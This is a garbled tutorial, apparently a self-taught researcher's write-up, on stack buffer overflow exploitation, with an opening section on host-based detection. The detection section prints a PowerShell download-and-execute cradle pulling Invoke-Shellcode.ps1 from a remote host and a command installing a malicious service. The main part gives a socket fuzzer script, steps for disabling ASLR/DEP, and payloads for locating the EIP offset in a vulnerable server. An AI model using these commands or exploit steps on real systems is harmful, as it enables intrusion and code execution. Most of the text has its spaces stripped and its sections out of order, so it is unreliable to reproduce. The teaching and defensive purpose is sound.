payloadsolargethattherulesareignoredduetoperformanceaswellSneaky
HostBasedDetection
In this model you assume the target has already been breached Maybe EMET was disabled or the attack was highly sophisticated and
made it past your defenses Whatever the case the attacker now has command and control over your machine thanks to a Buffer
OverflowLuckilyattackerpatternsofbehaviorarerelativelypredictableWhatdoesthatmean
Consideriftheactivedirectorylogsshowdirectoryenumerationssuchas
netviewdomain
netuserdomain
netaccountsdomain
Considerifthelocalhostlogsshowlocalaseriesofenumerationscommandssuchas
systeminfo
netlocalgroupldquoAdministratorsrdquo
uname-a
catprocissue
Considermoreadvancedpost-exploitattemptstobypassdetectionviaPowerShell
start-Process -FilePath nssmexe -ArgumentList lsquoinstall MaliciousService ldquoCWindowsSystem32WindowsPowerShellv10powershellexerdquo ldquo-command ldquoamp CScriptsMonitorps1 Start-Monitoring rdquordquo lsquo -NoNewWindow-Wait
powershellexe-execbypassndashnoprofilendashciex(New-ObjectNetWebClient)DownloadString
(http10022108081CodeExecutionInvoke-Shellcodeps1)
Similar to the EMET example local logs can be sent via Windows Collectors andor Syslog and forwarded to your SIEM For PowerShell attack Windows has added additional logging capabilities to memory based powershell execution but if the logs are disabled or omitted then detection may be thwarted Irsquove overly simplified a highly sophisticated topic but the point to drive home is that you assume a zero-daywillsucceedandlookforIoCrsquosthatshowenumerationprivilegeescalationetcetc
ENJOY
ReferencesandHonorableMentions
GeneralReferencehttpsenwikipediaorgwikiAddress_space_layout_randomizationhttpsenwikipediaorgwikiExecutable_space_protectionWindowshttpsenwikipediaorgwikiReturn-oriented_programminghttpsenwikipediaorgwikiJust-in-time_compilationhttpsenwikipediaorgwikiHeap_sprayinghttpsenwikipediaorgwikiDangling_pointerSecurity_holes_involving_dangling_pointersTechnicalResourceshttpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsmindmajixcomsplunkmonitor-windows-event-log-datahttpsgithubcomjpalancoalienvault-ossimblobmastersnort-rules-default-openrules290emergingrulesemerging-shellcoderuleshttpswwwsplunkcomblog20170706hellsbells-lets-hunt-powershellshtmlhttpssciencerpieducomputer-sciencehttpresearchcswiscedumistpresentationskupsch_miller_secse08pdf
httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-serverhttpsgithubcomJonathanSalwanROPgadgethttpswwwrapid7comresourcesrop-exploit-explainedhttpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdfhttpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdfhttpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programming-chains]pdfhttpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdfhttpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdfhttpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdfhttpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdfhttpswwwrapid7comresourceswhy-you-should-be-using-emethttpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystifiedhttpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdfComputerphilevideosandtheirAuthorsProgrammingandSoftwareArchitecturehttpswwwseasupennedu~cit595cit595s10contentshtmlhttpswwwlearn-corghttpsgodboltorgLinuxManPagesandtheirAuthors
Weusedsometoolstoreverseengineercompiledbinariesincaseweneedtogetcreativewiththefuzzypayload
Asaself-taughttechnologistoneofthemostdifficultareasIstruggledwithwasunderstandingwhatwasgoingonunderthehoodIstartedmyldquoTechyrdquojourneywritingJavaSCriptandHTMLbecauseitwaseasyandIcouldgetimmediatevisualfeedbackviachangesinthebrowserWorkingdownthestackintoCprogramingandx86x64LinuxandWindowsarchitectureswasandstillisnoteasyEitherWaylearninglowleveldebuggingisnecessaryWhatrsquosabufferldquoAbufferissimplyacontiguousblockofcomputermemorythatholdsmultipleinstancesofthesamedatatypeCprogrammersnormallyassociatewiththewordbufferarraysMostcommonlycharacterarraysArrayslikeallvariablesinCcanbedeclaredeitherstaticordynamicStaticvariablesareallocatedatloadtimeonthedatasegmentDynamicvariablesareallocatedatruntimeonthestackTooverflowistofloworfilloverthetopbrimsorboundsWewillconcernourselvesonlywiththeoverflowofdynamicbuffersotherwiseknownasstackbasedbufferoverflowsrdquo-SmashingtheStackbyAlephOneMostconfusingtomewashowthestackrelatesbacktoBufferandhowtheassemblylanguagefitsintothepuzzleSomeself-pacedlabshadmebreakopenadebuggertothesightofthishellip
TheScarydebuggerUI
IpersonallydecidedtogetofftheUIdebuggerbecauseitldquohadtoomanywindowsrdquoatthetimeLaterinthispaperIflipbacktotheUIbecauseitmadememorydumpseasytovisualizeWewillstartwithlinuxGDBintheterminalJustseemedalotcleanerviewandteachesyoumoreabouttheGUIversionAlthoughlearningtheterminalcommandstakemoretimethanclickingawindowtheyarebestforbeginners
NativeEDBinTerminal
OkaysoIputthesepicturesfirsttoputthebigbadscaryscreenswithldquoTheMatrixrdquofontoutofthewayHonestlyitrsquosnotthatbadIrsquovesynthesizedmynotesdowntoafewimportantthingsUnderstandtheBasicsofMemoryManagementIfoundanarticlethatbrokedownthebasicsofmemoryandthestackinawaythatreallyhelpedputthepiecestogetherAsanyonemovespastbasicNOPsledsintomoreadvancedexploitwritingthefollowingnotesareabsolutelycriticalFlipbackandforthbetweenthedefinitionsandtheimagesafewtimes
1 CommandlineargumentsandenvironmentvariablesTheargumentspassedtoaprogrambeforerunningandtheenvironmentvariablesarestoredinthehighmemoryaddresssection
2 StackThisistheplacewhereallthefunctionparametersreturnaddressesandthelocalvariablesofthefunctionarestoredItrsquosaLIFOstructureItgrowsdownwardinmemory(fromhigheraddressspacetoloweraddressspace)asnewfunctioncallsaremadeWewillexaminethestackinmoredetaillater
3 HeapAllthedynamicallyallocatedmemoryresideshereWheneverweusemalloctogetmemorydynamicallyitisallocatedfromtheheapTheheapgrowsupwardsinmemory(fromlowertohighermemoryaddresses)asmoreandmorememoryisrequired
4 Uninitializeddata(BssSegment)AlltheuninitializeddataisstoredhereThisconsistsofallglobalandstaticvariableswhicharenotinitializedbytheprogrammerThekernelinitializesthemtoarithmetic0bydefault
5 Initializeddata(DataSegment)AlltheinitializeddataisstoredhereThisconstistsofallglobalandstaticvariableswhichareinitialisedbytheprogrammer
6 TextThisisthesectionwheretheexecutablecodeisstoredTheloaderloadsinstructionsfromhereandexecutesthemItisoftenreadonly
MemoryArchitecture
RegistersampldquoTheStackrdquohellipakascarystuffYoulikelyalreadyknowthatcomputerprocessoroperationsmostlyinvolveprocessingdatathatyouprovideitHowevertoprocessyourdatathecomputerneedstostoredataandaccessitDatacanbestoredondiskstoredinmemoryorstoredinCPUmemoryforexampleHoweverreadingdatadiskfromRAMandalltheIOassociatedwithgettingdataintomemoryslowsdowntheprocessingAlltheoperationstomovedataroundbasicallyinvolvescomplicatedprocessesofsendingthedatarequestacrossthecomputerrsquoscontrolbusandintothememorystorageunit(MSU)andgettingthedatathroughthesamechannelTospeeduptheprocessoroperationstheprocessorisbuiltwithsomeinternalmemorystoragelocationscalledregistersRegistersstoredynamicvariablesoperationstoperformcalculationsandinstructionstotelltheCPUwhattodonextThisisldquoTheStackrdquoldquoTheregistersstoredataelementsforprocessingwithouthavingtoaccessthememoryAlimitednumberofregistersarebuiltintotheprocessorchiprdquoBasicallyregistersarewhereyouputimportantstuffthatneedstobeprocessedbytheCPUWhatdoesthatmeanAddingsubtractingorwhateveryouneedtodotocreateordisplayldquostuffrdquoinyourprogramLetrsquosdigintothemessy
detailsitwontbefunnyyoursquollneedtore-readandafterreadingafewtimesdonrsquotbeafraidthatyoudonrsquotrememberitallJustbustopenadebuggerandstarttinkeringaroundProcessorRegistersWersquoregoingtofocuson32bitoperatingsystemThereareten32-bitandsix16-bitprocessorregistersinIA-32architectureTheregistersaregroupedintothreecategoriesminus
Generalregisters Controlregisters Segmentregisters
Thegeneralregistersarefurtherdividedintothefollowinggroups
Dataregisters Pointerregisters Indexregisters DataRegisters
DataRegistersFour32-bitdataregistersareusedforarithmeticlogicalandotheroperationsThese32-bitregisterscanbeusedinthreewaysRememberXfordataregardlessof32or64bit
1) Ascomplete32-bitdataregistersEAXEBXECXEDX2) Lowerhalvesofthe32-bitregisterscanbeusedasfour16-bitdataregistersAXBXCXandDX3) Lowerandhigherhalvesoftheabove-mentionedfour16-bitregisterscanbeusedaseight8-bitdataregisters
AHALBHBLCHCLDHandDL
Someofthesedataregistershavespecificuseinarithmeticaloperations
AX is the primary accumulator it is used in inputoutput and most arithmetic instructions For example in
multiplicationoperationoneoperandisstoredinEAXorAXorALregisteraccordingtothesizeoftheoperand
BXisknownasthebaseregisterasitcouldbeusedinindexedaddressing
CXisknownasthecountregisterastheECXCXregistersstoretheloopcountiniterativeoperations
DX is known as the data register It is also used in inputoutput operations It is also used with AX register along with
DXformultiplyanddivideoperationsinvolvinglargevalues
PointRegisters(IPissuperimportantreadaboutitoverandoveragain)The pointer registers are 32-bit EIP ESP and EBP registers and corresponding 16-bit right portions IP SP and BP
Therearethreecategoriesofpointerregisters
Instruction Pointer (IP) minus The 16-bit IP register stores the offset address of the next instruction to be
executed IP in association with the CS register (as CSIP) gives the complete address of the current
instruction in the code segment NOTES IP will control the next instruction executed hellip like say our
malware
Stack Pointer (SP) minus The 16-bit SP register provides the offset value within the program stack SP in
association with the SS register (SSSP) refers to be current position of data or address within the program
stack NOTES Might give you a reference point to look higher in memory to find our malware in
bufferNOPsledaddresses
Base Pointer (BP) minus The 16-bit BP register mainly helps in referencing the parameter variables passed to a
subroutine The address in SS register is combined with the offset in BP to get the location of the parameter
BP can also be combined with DI and SI as base register for special addressing NOTES Base pointer
tracks the memory location between your Dynamic Variables and registers and your buffer etc BP
isagoodreferencepointforfindingsmemorylocationsupintoregistersordownintoyourbuffer
Therersquos also a lot of talk about assembly At first glance when assembly is in the debugger it looks really complicated
and scary Quite frankly I still havent mastered it but while you learn there are a few core concepts and operational
codestostartwiththatmostoverflowstutorialsseemtoincludehellip
Irsquom going to list what might seem like some scary and complicated stuff but read it and then look at the pictures
following it then go back and reread this section againhellipIf youre not ready jump into the picture directly at the end
andcomebacktoreading
ControlFlowInstructions
The x86 processor maintains an instruction pointer (IP) register that is a 32-bit value indicating the location in memory where the
currentinstructionstarts
Normally it increments to point to the next instruction in memory begins after execution an instruction The IP register cannot be
manipulateddirectly(Butitcanbeoverwritten)butisupdatedimplicitlybyprovidedcontrolflowinstructions
We use the notation ltlabelgt to refer to labeled locations in the program text Labels can be inserted anywhere in x86 assembly code
textbyenteringalabelnamefollowedbyacolonForexample
movesi[ebp+8]
beginxorecxecx
moveax[esi]
The second instruction in this code fragment is labeled begin Elsewhere in the code we can refer to the memory location that this
instruction is located at in memory using the more convenient symbolic name begin This label is just a convenient way of expressing
thelocationinsteadofits32-bitvalue
jmpmdashJump
Transfers program control flow to the instruction at the memory location indicated by the operand You might use this to ldquoJumprdquo into
amemorylocationthatishostingthemalware
Syntax
jmpltlabelgt
Example
jmpbeginmdashJumptotheinstructionlabeledbegin
callretmdashSubroutinecallandreturn
These instructions implement a subroutine call and return The call instruction first pushes the current code location onto the
hardware supported stack in memory (see the push instruction for details) and then performs an unconditional jump to the code
location indicated by the label operand Unlike the simple jump instructions the call instruction saves the location to return to when
thesubroutinecompletes
The ret instruction implements a subroutine return mechanism This instruction first pops a code location off the hardware supported
in-memory stack (see the pop instruction for details) It then performs an unconditional jump to the retrieved code location A series of
instructionsthatendinRETareoftenchainedtogethertobypassstackprotectionswhichyouwillfindoutlater
Syntax
callltlabelgt
ret
DataMovementInstructions
movmdashMove(Opcodes88898A8B8C8E)
The mov instruction copies the data item referred to by its second operand (ie register contents memory contents or a constant value)
into the location referred to by its first operand (ie a register or memory) While register-to-register moves are possible direct
memory-to-memory moves are not In cases where memory transfers are desired the source memory contents must first be loaded
intoaregisterthencanbestoredtothedestinationmemoryaddress
Syntax
movltreggtltreggt
movltreggtltmemgt
movltmemgtltreggt
movltreggtltconstgt
movltmemgtltconstgt
Examples
moveaxebxmdashcopythevalueinebxintoeax
movbyteptr[var]5mdashstorethevalue5intothebyteatlocationvar
pushmdashPushstack(OpcodesFF898A8B8C8E)
The push instruction places its operand onto the top of the hardware supported stack in memory Specifically push first decrements
ESP by 4 then places its operand into the contents of the 32-bit location at address [ESP] ESP (the stack pointer) is decremented by
pushsincethex86stackgrowsdown-iethestackgrowsfromhighaddressestoloweraddresses
Syntax
pushltreg32gt
pushltmemgt
pushltcon32gt
Examples
pusheaxmdashpusheaxonthestack
push[var]mdashpushthe4bytesataddressvarontothestack
popmdashPopstack
The pop instruction removes the 4-byte data element from the top of the hardware-supported stack into the specified operand (ie
register or memory location) It first moves the 4 bytes located at memory location [SP] into the specified register or memory location
andthenincrementsSPby4
Syntax
popltreg32gt
popltmemgt
Examples
popedimdashpopthetopelementofthestackintoEDI
pop[ebx]mdashpopthetopelementofthestackintomemoryatthefourbytesstartingatlocationEBX
leamdashLoadeffectiveaddress
The lea instruction places the address specified by its second operand into the register specified by its first operand Note the
contents of the memory location are not loaded only the effective address is computed and placed into the register This is useful for
obtainingapointerintoamemoryregion
Syntax
lealtreg32gtltmemgt
Examples
leaedi[ebx+4esi]mdashthequantityEBX+4ESIisplacedinEDI
leaeax[var]mdashthevalueinvarisplacedinEAX
leaeax[val]mdashthevaluevalisplacedinEAX
In this write up and many blogs yoursquoll pay close attention to IP ESP and JMP in the vulnerable program However the other assembly
commands are good for understanding generally how higher level code gets executed and for other potential overflow techniques So
letrsquos summarize all this into a simple picture I found this while watching a Youtube video by ComputerPhile I thought it summarized
everythingquitenicely
On the left hand side you have the storage location we discussed previously For example you have you ldquoStackrdquo and ldquoHeaprdquo called out
The right hand of this picture basically breaking down the stack into some of the locations that get put into the stack Say a math
function parameters (ie your dynamic variables in code) your return address or Instruction Pointer IP etc etc Okay so to a noob
maybethisdoesntmeanalotsoletrsquosmoveontosomemorevisualexamplesfirstbeforewetalkaboutanymoreldquocoderdquo
SowehaveabufferandsomeotherCPUbasedmemoryspacesforthoseregisterslocationsAllthatassemblycodeishelpingusadd
thingsintotheregistrylocationjumptonewfunctionsincodetakethingsoutanddomathematicaloperationsforyourfunctionsinthe
higherlevelcode
IfyoureadalongotherpartsoftheregistryareusedforstoringpointerstothenextfunctionprogramordatainourbufferetcInthis
pictureifyousendldquoToomuchdatardquototheprogramandyourprogramhasnoboundscheckingthenthebuffercanoverflowyour
instructionpointerIfyoucanoverwriteaninstructionpointer(akaIPEIP)withthememorylocationofyourmalwarethenyoucantrick
theprogramintoexecutingyourmalwarewiththeprogramspermissions
OverflowtheBufferCrashintotheStackWriteaReturnAddressintoEIPthatpointsbacktoyourmalware
LetrsquosbreakdownthevulnerableservercodeinAssemblytobetterunderstandwhatrsquoshappeningwhenwefuzztheapplicationand
overflowwithabunchofArsquosandBrsquosTypeobjdump-dVulnerableServer
1 TheaddressofvulnReadstartsatmemoryaddress78dinhex
2 x414inhexor1044indecimalbytesarereservedforthelocalvariablesBecauseofincludeBUFFER_SIZE=1024alarge
isallocatedasalocalvariable
791 81ec14040000 sub$0x414esp
3 Theaddressofthebufferstarts0x410inhexor1040indecimalbytesfrombase-pointerebpThismeansthat1040bytesare
reservedforbufferbutrememberthatBUFFER_SIZE=1024
8d85f0fbffff lea-0x410(ebp)eax
4 Memorylocationsseemtobeaddingandsubtractingbasedonspaceneededtostoredifferentoperationsandmemory
locationsUntilfinally
5 Later-0x40c(ebp)eaxor1036arereservedandatmemorylocation7e6weseeacallto550ltreadpltgt
defineBUFFER_SIZE1024
defineHEADER_SIZE4
EIP(ReturnAddresstonextfunction)
EBPofVuln_Read(BasePointer)
to_read
buffer
read_bytes
Lastvariable(StackPointer)
So1040byteofmemorywasallocatedandthestackgrowsdownfromEBPSomeassemblyoperationsoccurandvariablesarestored
andpointersandupdatedandthememorygrowsandshrinksWithoutbeinganassemblygeniusweseethespecificfunction
(readplt)withthevulnerabilitycalledandcaninferthatthebufferallocationbeforethatisusedforthefunctioncallInthiscase1036
availablebytesLetrsquosbreakthatdown
1036bytesforthebuffer+4bytesforEBP+4bytesforEIP(InstructionPointer)
AnotherimportantpieceofthepuzzleistoldquoFindrdquothecodethatyoujustputintothebufferInourexamplethatwillbeabunchofArsquos
thatweuseduringfuzzingHoweverasweprogresstheArsquoswillgetreplacedwithmalwarebecauseabunchofArsquosarentthatuseful
outsidethecontextoflearning
Afterwefindthecodewewanttobesurethatthecomputerwillldquomove-alongrdquountilitgetstowhateverdataweputintothebufferThe
reasonforthisisbecauseknowingldquoexactlyrdquowherethecomputerputsourArsquosBrsquosandCrsquosishardWemightoverwriteallthoseldquoArsquosrdquo
ldquoBrsquosrdquoandldquoCrsquosrdquobutfindingtheexactmemorylocationthecomputerdecidestoputtheminisnotalwaysviablebecausememory
locationsmovearoundabitPluswewanttomakesurethatthecomputerdoesnrsquotexitorterminateexecutionbeforeitgetstotheBrsquosor
laterourldquomalwarerdquo
Themostbasictechniquetoaddressthisiswithx90NOP(nooperation)WereplaceourArsquos(x41)withx90andthattellsthe
computertojustldquomovealongrdquountilyougettothenextinstructionAsanoobitgivesusabiglandingpadtofindLookbelowatthe
pictureaboveandyoursquollseeanarrowthatpointsbacktotheldquoBufferrdquowithabunchofx90sThismeanswewillputaninstructioninto
IPEIPthatreturnsthecomputerbacktothebufferandtheRETURNwilllandintoabunchofNOPSandthenslidedownintotheBrsquosin
ourprogram
Thefollowingtwopicturesreallyputeverythingintoperspectiveformeignorethebuffersizenumbers
EnoughtheoryshowmeTheCode
DisablingDEPASLR
YoumustdisableASLRandDEPonalabmachinetolearnthebasicbufferoverflow
ASLR-Linux
echo0|sudoteeprocsyskernelrandomize_va_spaceDEPPassedascommandlineargumentinMakefileoratgcccommandline
-fstack-protector-Waexecstack
Onax86linuxarchitecturewithDEPASLRdisabledhellipLetrsquosgiveitashotfirstwersquollrunthevulnerableserverPoCwithinGDB
compilesthevulnerableCprogramwithanumberofprotectionsremovedDisabling-fstack-protectorremovessomemodernprotectionagainstoverwritingtheinstructionpointerLetrsquosdeferuntillaterexecstackwillmarkbinaryorsharedlibraryasrequiringexecutablestackMakefileallor
gcc-gvulnServerc-fno-stack-protector-z-Waexecstack-oServergdbServer1337
OkaysothevulnerableTCPserverisloadedintoGDBGDBisadebuggertogiveasaccessintothememoryregistersassemblyetcetcIfyourefamiliarwithwebdevelopmentlikeIwastheconceptofsettingbreakpointsatdifferentmomentsinthecodewasveryfamiliarItseemsintimidatingbutareallygoodcheatsheetishere
GDBCheatSheet
httpswwwcheatographycomfristlecheat-sheetsclosed-source-debugging-with-gdbFromtheterminaltype
run1337
NowitrsquostimetoldquoFuzzrdquoWealreadywentthroughsometheoryandrationalebeforebutitwasnrsquotdescribedinandend-to-endtypeofcontextArefresherhellipldquoFuzztestingorFuzzingisaBlackBoxsoftwaretestingtechniquewhichbasicallyconsistsinfindingimplementationbugsusingmalformedsemi-malformeddatainjectioninanautomatedfashionrdquoldquoYoucaneitherthrowabunchofgarbageattheprogramoryoucanunderstandwhatthecodeisexpectingrdquoIfyourememberIprovidedsomesimplecommandstoillustratetheexampleForthisapplicationwecandoitcompletelyhandsonpython-cprintx41overflowpython-cprintx41[offset]+x42[4]+x43[Overflow-offset-4]python-cprintx90[offset]+InstructionPointer[4]+x90[Overflow-offset-4]Sowecouldapproachthisacoupleofways
1 Gobackintothereversedengineeredbinariesandtrytodeterminewhatourbuffersizeisthroughthesourcecodeandassembly
2 RuntheprogramthroughthrewGDBandsetbreakpointsandfindops-codethatindicateBUFFERvariablesize3 Writeaniterativefuzzingscripttofindtheoverflowpoint
WritingthefuzzingscriptwasthebestlearningexerciseformeSowersquoregoingtocoverthatherequicklyLetrsquosstartwithgeneratingabunchofdatawiththecommandbelowIrsquomgoingtojustincreasethenumberofAsby10threetimes Examplepython-cprintx41overflowpython-cprintx4110python-cprintx4120python-cprintx4130
AllwersquoredoingiscreatingabunchofArsquosWedothisbecausewedonrsquotknowthemagicnumberofbyteswhereourattackpayloadwillresultinanoverflowThatrsquosthefuzzWewillneedtomodifythebasicpythonfuzzingexampletofittheuniqueldquopre-fixrdquothatisbuiltintothevulnerableserverlogicWewillreusetheBLACKpartsofthecodeslogicbelowandcopyintotheclientpyscriptusrbinpythonimportsocketCreateanarrayofbufferswithArsquosfrom1to5900usingincrementsof200Incrementsof200arearbitraryyoucouldusen++ifyouwanttowaitlongerWhateverbuffer=[A]counter=100whilelen(buffer)lt=30
bufferappend(Acounter)counter=counter+200
forstringinbufferprintFuzzingPASSwithsbyteslen(string)s=socketsocket(socketAF_INETsocketSOCK_STREAM)connect=sconnect((101110167110))srecv(1024)ssend(USERtestrn)srecv(1024)
ssend(PASS+string+rn)ssend(QUITrn)sclose()FirstletrsquoscreatecopyoftheoriginalclientsourcecodecpclientpyclientPoCpyNowletrsquosmakethefollowingchangestoclientPoCpyhellip usrbinpythonimportsocketimportstructimportsysiflen(sysargv)=2printUsage+sysargv[0]+[port]sysexit(1)
MESSAGE=Awhilelen(MESSAGE)lt=1000000mayneedtobeincreasedbasedonyourtargetbuffersize
DEST_IP=127001hostyourvulnProgramsislisteningonDEST_PORT=int(sysargv[1])counter=100
MESSAGE+=(Acounter)increasingthefuzzpayloadofAscounter=counter+100100hereisarbitrarysmallerwillbemoreaccuratebuttakelonger
print(lengthoffuzzoverflowis)print(len(MESSAGE))Foreducationalpurposes
forstringinMESSAGE
defconvert(MESSAGE)raw=raw+=structpack(ltIlen(MESSAGE))Serverexpectsapre-fixtellingyouthebuffersizeraw+=MESSAGEreturnraw
print(convert(MESSAGE))testpurposess=socketsocket(socketAF_INETsocketSOCK_STREAM)sconnect((DEST_IPDEST_PORT))ssend(convert(MESSAGE))data=srecv(1024)
sclose()printReceiveddatadataLetrsquosrunthepythonclientpyscriptandthevulnerableCtcpserverWersquollseethatthepythonscriptwillactasexpectedandbeginiteratingthroughthewhileloopandincreasingthenumberofArsquosIrsquoveincludedaprint()soyoucanwatchtheArsquosgrowastheclientrunsIfyouruntheclientterminalandtheserverterminalsidebysideyoursquollbeabletocomparetheclientpayloadbeingsenttothepayloadbeingreceivedbythevulnerabletcpserver
HopefullyyouruntheattackagainstyoursquorevulnerabletcpserverwhileinEDBmodeYoursquollnoticeaSIGSEGVerroratbytelengthof1101ASIGSEV(segmentationfault)oraccessviolationisafaultorfailureconditionistypicallyraisedbyhardwareasamemoryprotectionmechanismwhenyourprogramattemptstoaccessamemorylocationthateitherdoesnotexistorthatyourprogramisnotallowedtoaccessInthiscaseweoverwroteourEIP(instructionpointer)withamemorylocationof0x4141414orinotherwordsfourArsquos
ThenextpartiscriticalandIoverlookeditthefirstfewtimesIwastryingtounderstandhowthestackbufferrelatestotheregistersAt1101bytestheprogramcrashesHoweverwedonrsquotknowhowfarintotheregisterwewroteourArsquosBecausethisisopensourcecodeweknowthatthebufferwas1024bytesandwewroteout1101bytessoitrsquoslikelyweoverwrite77bytesworthofspaceoverourregisters
WhydowecareWewanttomodifyourinstructionpointerorEIPinx86IfwecanpreciselyoverwriteEIPwiththememorylocationofourprogramthenwecantricktheCPUintoexecutingourmaliciouscodeToillustrateIdrewanXthroughthereturnarraybackintoourbeforebecauseweonlyhaveabunchofArsquosinthereLetrsquossaywewanttowrite4Brsquosinthe4bytespaceinthereturnpointerTheBrsquos(x42)arearbitraryandonlyusedtoillustratethepointIfwewanttowriteBrsquostoaspecificregisterthenweneedtofigureouttheexactnumberofbytestostopwritingArsquosandstartwritingBrsquosManualbinarytreeanalysisisthebestforabeginnerinmyopinionMainlybecauseyoursquollneedtomanuallyworkyourwaythroughthebytesizelengthsmakingeducatedguesseswhileatthesametimelookingattheregistersandldquovisualizingrdquohowitallworks
Soifwehaveacrashatletrsquossay1100WecansplitthenumberofArsquosandBrsquosinto550Doingthismanuallyjustforkickspython-cprintx41550+x42550
Letrsquosusetheoriginalclientpy(notthefuzzer)andreplacetheldquoHELLOrdquomessagewithournewbufferwejustcreatedRestartthevulnerabletcpapplicationinGDBandruntheclientpywithourAandBrsquosbufferPuttingtheapplicationside-by-sideweseethat1100byteweresenthalfAsandhalfBrsquosHoweverthistimetheSIGSEGVshowsthatourinstructionpointerwasoverwrittenwithBrsquos(x42)
LetrsquostakeourfirstlookintotheregisterstoseewhatrsquosgoingonTypeldquoinfoall-registersrdquo
EachtimeyourunthroughthebinarytreecreatenewbuffermakesureyoulookintotheregistersTheoutputshowsusthatouroverflowisinourBrsquosbecauseweseex42hasoverwrittensomeofthedataregistersandthepointerregisters(X)isdataand(P)ispointerbytheway(-8Nowweneedtogofartherdownthebinarytreetofindtheexactlocationtowriteonly4bytesofBs(x42s)SowersquollmodifyourbuffertoincludesomeCrsquosWersquolldivide11003=andapproximate366+366+368python-cprintx41366+x42366+x43368
LetrsquosupdatetheoriginalclientpyscriptagainwithournewbufferandruntheattackagainstthevulnerableserverintheEDBBythewayIfoundVIMtobefarsuperiorforreplacinglargebuffersizewordsallatonceandnavigatingbackandforthtothebeginningandendofline(-8hellipafterfatthumbingitafewtimesweplacetheclientandtheserverside-by-sideandobservewhathappened
ThistimetheSIGSEGVshowsthatourinstructionpointerwasoverwrittenwithCrsquos(x43)TheoutputshowsusthatouroverflowisinourCrsquosbecauseweseex43hasoverwrittensomeofthedataregistersandthepointerregisters(X)isdataand(P)ispointerbytheway
WecansaytheresultsofthismakesensebecausewehavethesourcecodeWeknowthatthebufferisallocated1024bytesasapre-processorinstructionAtthispointourArsquosandBrsquosonlyequalatotalof366+366=732bytesNotenoughtooverflowthe1024butanother386isenoughtocrashintothestackrsquosregistersLetrsquoskeepgoingWersquolldividetheCrsquosupnextupdateourclientbufferandretesttheprograminEDBpython-cprintx41366+x42366+x43184+x44184ThistimeweseethefaultoccursintheDrsquoswichmeanswearegettingverycloseSincewersquoreontherighttrackandknowweneedtogetdownintoonly4bytesletrsquosbreaktheDrsquosdownfurther
python-cprintx41366+x42366+x43184+x4462+x4562+x4662
AtthispointIrsquomgettingtiredandthisisgettingoldbutweknowtheoverflowissomewhereinthelast62bytesSoletrsquospauseandaskourselveshowcouldwehavedonethisfasterWerememberouriteratorinthefuzzerTherewasareasonwhyIprintedthebytesizelengthtoscreenLetrsquosgobacktoapictureofourfuzzer
Sobetween1000and1100theoverflowoccursForfastresultswecouldrepeatthebinarytreeanalysiswhereonthelast100byteshellip
python-cprintx411000+x4225+x4325+x4425+x4525
That was much faster In one run we already know that the overflow falls somewhere within the Crsquos or x43s That could be anywhere
up to 1050 bytes This makes sense because we know our buffer is 1024 and we have an idea that there are some other registers that
mightgetoverwrittenbeforeourcodemakesitrsquoswaytotheinstructionpointerLetrsquosbreakdownthose25Crsquosinto8Crsquos8Drsquos9Ersquos
python-cprintx411000+x4225+x438+x448+x459
Now our fault occurs in our Ersquos or x45rsquos Simple math tells us that is somewhere between ~ 1040-1050 bytes and we know our registers
are4byteor32bitregistersthereforewecanbreakthatfinal9Ersquosinto4Ersquosand4Frsquosandseewhathappens
python-cprintx411000+x4225+x438+x448+x454+x464
Close 3 bytes of Ersquos or 3 x45rsquos but look closely one byte of D or x44 This means we need to subtract one D (x44) I feel like wersquore
onestepaway
python-cprintx411000+x4225+x438+x447+x454+x464
BoomThatrsquosit4bytesofErsquosor4x45rsquosLetrsquoscrackopenourregistersandconfirmthatwehavecontroloverourinstructionpointer
Okay so letrsquos recap You can save time during binary tree analysis if you print your fuzzerrsquos buffer to screen In this case we know the
crash occurred between 1000 and 1100 We also learned that our instruction pointer was well being overwritten with As We need to
find the exact location of the 4 byte EIP register because later we want to put a memory location of our ldquomalwarerdquo and tell the computer
to return to our malware in buffer If you noticed that the 44rsquos were at the end of EIP and not the beginning good catch This is because
Intel x86 is little endian meaning that the instructions are considered ldquobackwardsrdquo when provided to the CPU Basically it reads from
right-to-leftrelativetotheorderyousuppliedthedata
FindingInstructionPointerthefastway
Lucky for us there is a nice little program which helps us solve this problem much more quickly Unfortunately I found that when your
taught to use this program without learning the manual way then you may not understand what and why exactly you are using the
program
httpsgithubcomrapid7metasploit-frameworkblobmastertoolsexploitpattern_createrb
Soourfuzzertoldusthecrashhappenedatapproximately1100bytes
rootkali~locatepattern_createusrsharemetasploit-frameworktoolsexploitpattern_createrb
rootkali~usrsharemetasploit-frameworktoolsexploitpattern_createrb-l1100
This will create a pattern where each 4 bytes is a unique string Gosh I wish someone told me that You will paste the output from this
command into your clientpy buffer and overflow the program You will then receive a segmentation fault and go back into the registers
and find the unique 4 byte value in EIP Yoursquoll use a sister program which essentially counts the number of bytes in pattern_createrb
outputuntilitgetstotheunique4bytevaluethatwascopiedintoEIP
Example
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0
Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6
